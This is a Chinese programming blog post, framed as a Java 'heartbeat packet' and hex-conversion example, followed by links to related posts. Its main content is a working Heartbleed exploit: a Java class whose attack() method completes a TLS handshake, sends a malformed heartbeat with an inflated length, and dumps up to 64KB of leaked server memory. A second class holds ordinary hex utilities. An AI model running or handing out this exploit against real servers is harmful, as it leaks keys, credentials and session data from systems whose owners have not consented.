java发送heartbeat心跳包(byte转16进制)

代码如下:

package com.jxy.web;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.Socket;
import java.net.UnknownHostException;

import com.jxy.tools.MyByte;

public class Heartbleed {
 private static byte[] hello = { (byte) 0x16, (byte) 0x03, (byte) 0x02,
   (byte) 0x00, (byte) 0xdc, (byte) 0x01, (byte) 0x00, (byte) 0x00,
   (byte) 0xd8, (byte) 0x03, (byte) 0x02, (byte) 0x53, (byte) 0x43,
   (byte) 0x5b, (byte) 0x90, (byte) 0x9d, (byte) 0x9b, (byte) 0x72,
   (byte) 0x0b, (byte) 0xbc, (byte) 0x0c, (byte) 0xbc, (byte) 0x2b,
   (byte) 0x92, (byte) 0xa8, (byte) 0x48, (byte) 0x97, (byte) 0xcf,
   (byte) 0xbd, (byte) 0x39, (byte) 0x04, (byte) 0xcc, (byte) 0x16,
   (byte) 0x0a, (byte) 0x85, (byte) 0x03, (byte) 0x90, (byte) 0x9f,
   (byte) 0x77, (byte) 0x04, (byte) 0x33, (byte) 0xd4, (byte) 0xde,
   (byte) 0x00, (byte) 0x00, (byte) 0x66, (byte) 0xc0, (byte) 0x14,
   (byte) 0xc0, (byte) 0x0a, (byte) 0xc0, (byte) 0x22, (byte) 0xc0,
   (byte) 0x21, (byte) 0x00, (byte) 0x39, (byte) 0x00, (byte) 0x38,
   (byte) 0x00, (byte) 0x88, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
   (byte) 0x0f, (byte) 0xc0, (byte) 0x05, (byte) 0x00, (byte) 0x35,
   (byte) 0x00, (byte) 0x84, (byte) 0xc0, (byte) 0x12, (byte) 0xc0,
   (byte) 0x08, (byte) 0xc0, (byte) 0x1c, (byte) 0xc0, (byte) 0x1b,
   (byte) 0x00, (byte) 0x16, (byte) 0x00, (byte) 0x13, (byte) 0xc0,
   (byte) 0x0d, (byte) 0xc0, (byte) 0x03, (byte) 0x00, (byte) 0x0a,
   (byte) 0xc0, (byte) 0x13, (byte) 0xc0, (byte) 0x09, (byte) 0xc0,
   (byte) 0x1f, (byte) 0xc0, (byte) 0x1e, (byte) 0x00, (byte) 0x33,
   (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x9a, (byte) 0x00,
   (byte) 0x99, (byte) 0x00, (byte) 0x45, (byte) 0x00, (byte) 0x44,
   (byte) 0xc0, (byte) 0x0e, (byte) 0xc0, (byte) 0x04, (byte) 0x00,
   (byte) 0x2f, (byte) 0x00, (byte) 0x96, (byte) 0x00, (byte) 0x41,
   (byte) 0xc0, (byte) 0x11, (byte) 0xc0, (byte) 0x07, (byte) 0xc0,
   (byte) 0x0c, (byte) 0xc0, (byte) 0x02, (byte) 0x00, (byte) 0x05,
   (byte) 0x00, (byte) 0x04, (byte) 0x00, (byte) 0x15, (byte) 0x00,
   (byte) 0x12, (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x14,
   (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x08, (byte) 0x00,
   (byte) 0x06, (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0xff,
   (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x00,
   (byte) 0x0b, (byte) 0x00, (byte) 0x04, (byte) 0x03, (byte) 0x00,
   (byte) 0x01, (byte) 0x02, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
   (byte) 0x34, (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x0e,
   (byte) 0x00, (byte) 0x0d, (byte) 0x00, (byte) 0x19, (byte) 0x00,
   (byte) 0x0b, (byte) 0x00, (byte) 0x0c, (byte) 0x00, (byte) 0x18,
   (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
   (byte) 0x16, (byte) 0x00, (byte) 0x17, (byte) 0x00, (byte) 0x08,
   (byte) 0x00, (byte) 0x06, (byte) 0x00, (byte) 0x07, (byte) 0x00,
   (byte) 0x14, (byte) 0x00, (byte) 0x15, (byte) 0x00, (byte) 0x04,
   (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x12, (byte) 0x00,
   (byte) 0x13, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x02,
   (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
   (byte) 0x10, (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x23,
   (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
   (byte) 0x01, (byte) 0x01 };
 private static byte[] bleed = { (byte) 0x18, (byte) 0x03, (byte) 0x02,
   (byte) 0x00, (byte) 0x03, (byte) 0x01, (byte) 0xff, (byte) 0xff };
 private static byte[] tmp;
 private static byte[] pay;

/**
  * SSL3_RT_CHANGE_CIPHER_SPEC 20
  * SSL3_RT_ALERT 21
  * SSL3_RT_HANDSHAKE 22
  * SSL3_RT_APPLICATION_DATA 23
  * TLS1_RT_HEARTBEAT 24
  *
  * @param args
  * @throws Exception
  */

public static void main(String[] args) {
  attack("改为自己测试的主机", 465);
  System.exit(0);
 }

public static boolean attack(String host, int port) {

System.out.println("开始连接...");
  Socket socket = null;
  try {
   socket = new Socket(host, port);
  } catch (UnknownHostException e) {
   System.out.println("未知主机.");
   return false;
  } catch (IOException e) {
   System.out.println("访问主机失败.");
   return false;
  }
  OutputStream out = null;
  try {
   out = socket.getOutputStream();
  } catch (IOException e) {
   System.out.println("获取输出流失败.");
   return false;
  }
  InputStream in = null;
  try {
   in = socket.getInputStream();
  } catch (IOException e) {
   System.out.println("获取输入流失败.");
   return false;
  }

System.out.println("发送客户端心跳包...");

try {
   out.write(hello);
  } catch (IOException e) {
   System.out.println("发送心跳包失败.");
   return false;
  }

System.out.println("等待服务器心跳包...");

while (true) {
   tmp = getData(in, 5);
   if (tmp[0] == 0) {
    System.out.println("服务器没有返回心跳包并且关闭了连接.");
    return false;
   }

analyseHead(tmp);

int len = (int) MyByte.HexString2Long(MyByte
     .byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));

pay = getData(in, len);

if (tmp[0] == 22 && pay[0] == 0x0E) {
    System.out.println("查找到返回正常的心跳包。");
    break;
   }

}

System.out.println("发送heartbeat心跳包...");

try {
   out.write(bleed);
  } catch (IOException e) {
   System.out.println("发送heartbeat心跳包失败.");
   return false;
  }
  try {
   out.write(bleed);
  } catch (IOException e) {
   System.out.println("发送heartbeat心跳包失败.");
   return false;
  }

while (true) {
   tmp = getData(in, 5);
   int len = (int) MyByte.HexString2Long(MyByte
     .byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));

if (tmp[0] == 0) {
    System.out.println("没有heartbeat返回接收到, 服务器看起来不是易受攻击的");
    return false;
   }

if (tmp[0] == 24) {
    System.out.println("接收到heartbeat返回:");

int count=0;//长度计数
    for (int i = 0; i < 4; i++) {//读4次,全部读出64KB
     pay = getData(in, len);
     count+=pay.length;
     System.out.print(hexdump(pay));
    }

System.out.println("\n数据长度为:" + count);

if (len > 3) {
     System.out
       .println("警告: 服务器返回了原本比它多的数据 -服务器是易受攻击的!");
    } else {
     System.out
       .println("服务器返回畸形的heartbeat, 没有返回其他额外的数据");
    }

break;

}

if (tmp[0] == 21) {
    System.out.println("接收到警告:");
    System.out.println(hexdump(pay));
    System.out.println("服务器返回错误,看起来不是易受攻击的");
    break;
   }

}

try {
   out.close();
   in.close();
  } catch (IOException e) {
   System.out.println("关闭输入输出流异常");
  }

return true;
 }

public static byte[] getData(InputStream in, int lenth) {
  byte[] t = new byte[lenth];
  try {
   in.read(t);
  } catch (IOException e) {
   System.out.println("接受数据错误");
  }
  return t;
 }

public static String hexdump(byte[] pay) {
  String s = "";
  try {
   s = new String(pay, "GB2312");
  } catch (UnsupportedEncodingException e) {
   System.out.println("未知编码");
  }
  return s;
 }

public static void analyseHead(byte[] tmp) {
  System.out.print("接收到消息: ");
  System.out.print("类型:" + tmp[0] + "\t");
  System.out.print("版本:" + MyByte.byteToHexString(tmp[1])
    + MyByte.byteToHexString(tmp[2]) + "\t");
  System.out.println("长度:"
    + MyByte.HexString2Long(MyByte.byteToHexString(tmp[3])
      + MyByte.byteToHexString(tmp[4])));

}

}

代码如下:

package com.jxy.tools;

/**
 * 16进制值与String/Byte之间的转换
 * */
public class MyByte {

/**
  * 字符串转换成十六进制字符串
  *
  * @param String
  *            str 待转换的ASCII字符串
  * @return String 每个Byte之间空格分隔,如: [61 6C 6B]
  */
 public static String str2HexStr(String str) {

char[] chars = "0123456789ABCDEF".toCharArray();
  StringBuilder sb = new StringBuilder("");
  byte[] bs = str.getBytes();
  int bit;

for (int i = 0; i < bs.length; i++) {
   bit = (bs[i] & 0x0f0) >> 4;
   sb.append(chars[bit]);
   bit = bs[i] & 0x0f;
   sb.append(chars[bit]);
   sb.append(' ');
  }
  return sb.toString().trim();
 }

/**
  * 十六进制转换字符串
  *
  * @param String
  *            str Byte字符串(Byte之间无分隔符 如:[616C6B])
  * @return String 对应的字符串
  */
 public static String hexStr2Str(String hexStr) {
  String str = "0123456789ABCDEF";
  char[] hexs = hexStr.toCharArray();
  byte[] bytes = new byte[hexStr.length() / 2];
  int n;

for (int i = 0; i < bytes.length; i++) {
   n = str.indexOf(hexs[2 * i]) * 16;
   n += str.indexOf(hexs[2 * i + 1]);
   bytes[i] = (byte) (n & 0xff);
  }
  return new String(bytes);
 }

/**
  * String的字符串转换成unicode的String
  *
  * @param String
  *            strText 全角字符串
  * @return String 每个unicode之间无分隔符
  * @throws Exception
  */
 public static String strToUnicode(String strText) throws Exception {
  char c;
  StringBuilder str = new StringBuilder();
  int intAsc;
  String strHex;
  for (int i = 0; i < strText.length(); i++) {
   c = strText.charAt(i);
   intAsc = (int) c;
   strHex = Integer.toHexString(intAsc);
   if (intAsc > 128)
    str.append("\\u" + strHex);
   else
    // 低位在前面补00
    str.append("\\u00" + strHex);
  }
  return str.toString();
 }

/**
  * unicode的String转换成String的字符串
  *
  * @param String
  *            hex 16进制值字符串 (一个unicode为2byte)
  * @return String 全角字符串
  */
 public static String unicodeToString(String hex) {
  int t = hex.length() / 6;
  StringBuilder str = new StringBuilder();
  for (int i = 0; i < t; i++) {
   String s = hex.substring(i * 6, (i + 1) * 6);
   // 高位需要补上00再转
   String s1 = s.substring(2, 4) + "00";
   // 低位直接转
   String s2 = s.substring(4);
   // 将16进制的string转为int
   int n = Integer.valueOf(s1, 16) + Integer.valueOf(s2, 16);
   // 将int转换为字符
   char[] chars = Character.toChars(n);
   str.append(new String(chars));
  }
  return str.toString();
 }

/**
  * 合并两个byte数组
  *
  * @param pByteA
  * @param pByteB
  * @return
  */
 public static byte[] getMergeBytes(byte[] pByteA, byte[] pByteB) {
  int aCount = pByteA.length;
  int bCount = pByteB.length;
  byte[] b = new byte[aCount + bCount];
  for (int i = 0; i < aCount; i++) {
   b[i] = pByteA[i];
  }
  for (int i = 0; i < bCount; i++) {
   b[aCount + i] = pByteB[i];
  }
  return b;
 }

/**
  * 截取byte数据
  *
  * @param b
  *            是byte数组
  * @param j
  *            是大小
  * @return
  */
 public static byte[] cutOutByte(byte[] b, int j) {
  if (b.length == 0 || j == 0) {
   return null;
  }
  byte[] tmp = new byte[j];
  for (int i = 0; i < j; i++) {
   tmp[i] = b[i];
  }
  return tmp;
 }

/**
  * 16进制字符串转换byte数组
  *
  * @param hexstr
  *            String 16进制字符串
  * @return byte[] byte数组
  */
 public static byte[] HexString2Bytes(String hexstr) {
  byte[] b = new byte[hexstr.length() / 2];
  int j = 0;
  for (int i = 0; i < b.length; i++) {
   char c0 = hexstr.charAt(j++);
   char c1 = hexstr.charAt(j++);
   b[i] = (byte) ((parse(c0) << 4) | parse(c1));
  }
  return b;
 }

private static int parse(char c) {
  if (c >= 'a')
   return (c - 'a' + 10) & 0x0f;
  if (c >= 'A')
   return (c - 'A' + 10) & 0x0f;
  return (c - '0') & 0x0f;
 }

/**
  * byte转换为十六进制字符串,如果为9以内的,用0补齐
  *
  * @param b
  * @return
  */
 public static String byteToHexString(byte b) {
  String stmp = Integer.toHexString(b & 0xFF);
  stmp = (stmp.length() == 1) ? "0" + stmp : stmp;
  return stmp.toUpperCase();
 }

/**
  * 将byte转换为int
  *
  * @param b
  * @return
  */
 public static int byteToInt(byte b) {
  return Integer.valueOf(b);
 }

/**
  * bytes转换成十六进制字符串
  *
  * @param byte[] b byte数组
  * @return String 每个Byte值之间空格分隔
  */
 public static String byteToHexString(byte[] b) {
  String stmp = "";
  StringBuilder sb = new StringBuilder("");
  for (byte c : b) {
   stmp = Integer.toHexString(c & 0xFF);// 与预算,去掉byte转int带来的补位
   sb.append((stmp.length() == 1) ? "0" + stmp : stmp);// 是一位的话填充零
   sb.append(" ");// 每位数据用空格分隔
  }
  return sb.toString().toUpperCase().trim();// 变换大写,并去除首尾空格
 }

public static long HexString2Long(String hexstr) {
  long sum=0;
  int length=hexstr.length();
  for (int i = 0; i < length; i++) {
   sum+=parse(hexstr.charAt(i))*Math.pow(16,length-i-1);
  }
  return sum;
 }
}

(0)

相关推荐

  • java实现十六进制字符unicode与中英文转换示例

    关于unicode和utf的关系,可以简单的记忆:Unicode是一个编码组织.一个编码规范.在java中指utf-16:utf是Unicode编码的translation转换格式,以便于很好地在网络中传递.在存储媒介汇总保存,于是utf存在多种格式,如8.16.32,而关联le.te的区别,Unicode编码格式才会有以下过程中的10种. 复制代码 代码如下: public static void main(String[] args) throws UnsupportedEncodingEx

  • java实现汉字转unicode与汉字转16进制实例

    本文实例讲述了java实现汉字转unicode与汉字转16进制的实现方法.分享给大家供大家参考.具体实现方法如下: 一.汉字转unicode 复制代码 代码如下: public static String toUnicode(String s) {         String as[] = new String[s.length()];         String s1 = "";         for (int i = 0; i < s.length(); i++)   

  • java中进制的转换,Byte与16进制的转换方法

    java中对于进制的转换有很多方式,其中对于常见的基本的二进制 八进制 十进制 十六进制等的转换有对于的包装类实现,不需要通过二外的算法来进行实现,具体如下: 首先关于最简单的二进制转换的方法有: 十进制转成十六进制: String Integer.toHexString(int i) 十进制转成八进制 String Integer.toOctalString(int i) 十进制转成二进制  String Integer.toBinaryString(int i) 十六进制转成十进制 Inte

  • Java 进制转换的方法

    复制代码 代码如下: //二转十Integer.toBinaryString(int i);//八转十Integer.toOctalString(int i);//十六转十Integer.toHexString(int i); 10//二转十11Integer.valueOf("1010",2).toString();12//八转十13Integer.valueOf("8765",8).toString();14//十六转十15Integer.valueOf(&qu

  • Java 十进制转二、八、十六进制的字符串

    十进制转二进制 class DecToBin { public static void main(String[] args) { //System.out.println("Hello World!"); long dec = -9223372036854775807l; // -9223372036854775808 这个数不行,不要试,嘿嘿 String binStr=""; long decAbs=Math.abs(dec); while (decAbs&g

  • JAVA 十六进制与字符串的转换

    toHexString public static String toHexString(int i)以十六进制的无符号整数形式返回一个整数参数的字符串表示形式. 如果参数为负,那么无符号整数值为参数加上 232:否则等于该参数.将该值转换为十六进制(基数 16)的无前导 0 的 ASCII 数字字符串.如果无符号数的大小值为零,则用一个零字符 '0' ('\u0030') 表示它:否则,无符号数大小的表示形式中的第一个字符将不是零字符.用以下字符作为十六进制数字: 0123456789abcd

  • Java实现复杂的进制转换器功能示例

    本文实例讲述了Java实现复杂的进制转换器功能.分享给大家供大家参考,具体如下: 这是用java写的进制转换器,包括10.2.8.16进制之间共12种的相互转换.输入一个要转换的数之后,按提示选择所采用的转换方式,输出转换的结果. 注:新上传的文件是在此前代码(下面的3. 原java代码)的基础上做了改进,能更好地实现封装. 1. SystemConvert.java package day8; import java.util.Scanner; public class SystemConve

  • Java将字节转换为十六进制代码分享

    本文部分代码摘录自网上,并稍加整理,用于字节与十六进制之间的转换. /** * reference apache commons <a * href="http://commons.apache.org/codec/">http://commons.apache.org/codec/</a> * * byte占用8位,十六进制字符占用4位.所以可以把一个byte转换成两个相应的十六进制字符,即把byte的高4位和低4位 * 分别转换成相应的十六进制字符H和L,并

  • Java中十进制和十六进制的相互转换方法

    //  十进制转化为十六进制,结果为C8. Integer.toHexString(200); // 十六进制转化为十进制,结果140. Integer.parseInt("8C",16); 以上这篇Java中十进制和十六进制的相互转换方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持我们.

  • Java中float类型的范围及其与十六进制的转换例子

    float占用4个字节,和int是一样,也就是32bit.       第1个bit表示符号,0表示正数,1表示负数,这个很好理解,不用多管.       第2-9个bit表示指数,一共8为(可以表示0-255),这里的底数是2,为了同时表示正数和负数,这里要减去127的偏移量.这样的话范围就是(-127到128),另外全0和全1作为特殊处理,所以直接表示-126到127.      剩下的23位表示小数部分,这里23位表示了24位的数字,因为有一个默认的前导1(只有二进制才有这个特性).   

  • java实现ip地址与十进制数相互转换

    先看实例 代码如下 复制代码 代码如下: classip { privatestaticlongiptolong(stringstrip) //将127.0.0.1形式的ip地址转换成10进制整数,这里没有进行任何错误处理 { intj=0; inti=0; long[]ip=newlong[4]; intposition1=strip.indexof("."); intposition2=strip.indexof(".",position1+1); intpos

随机推荐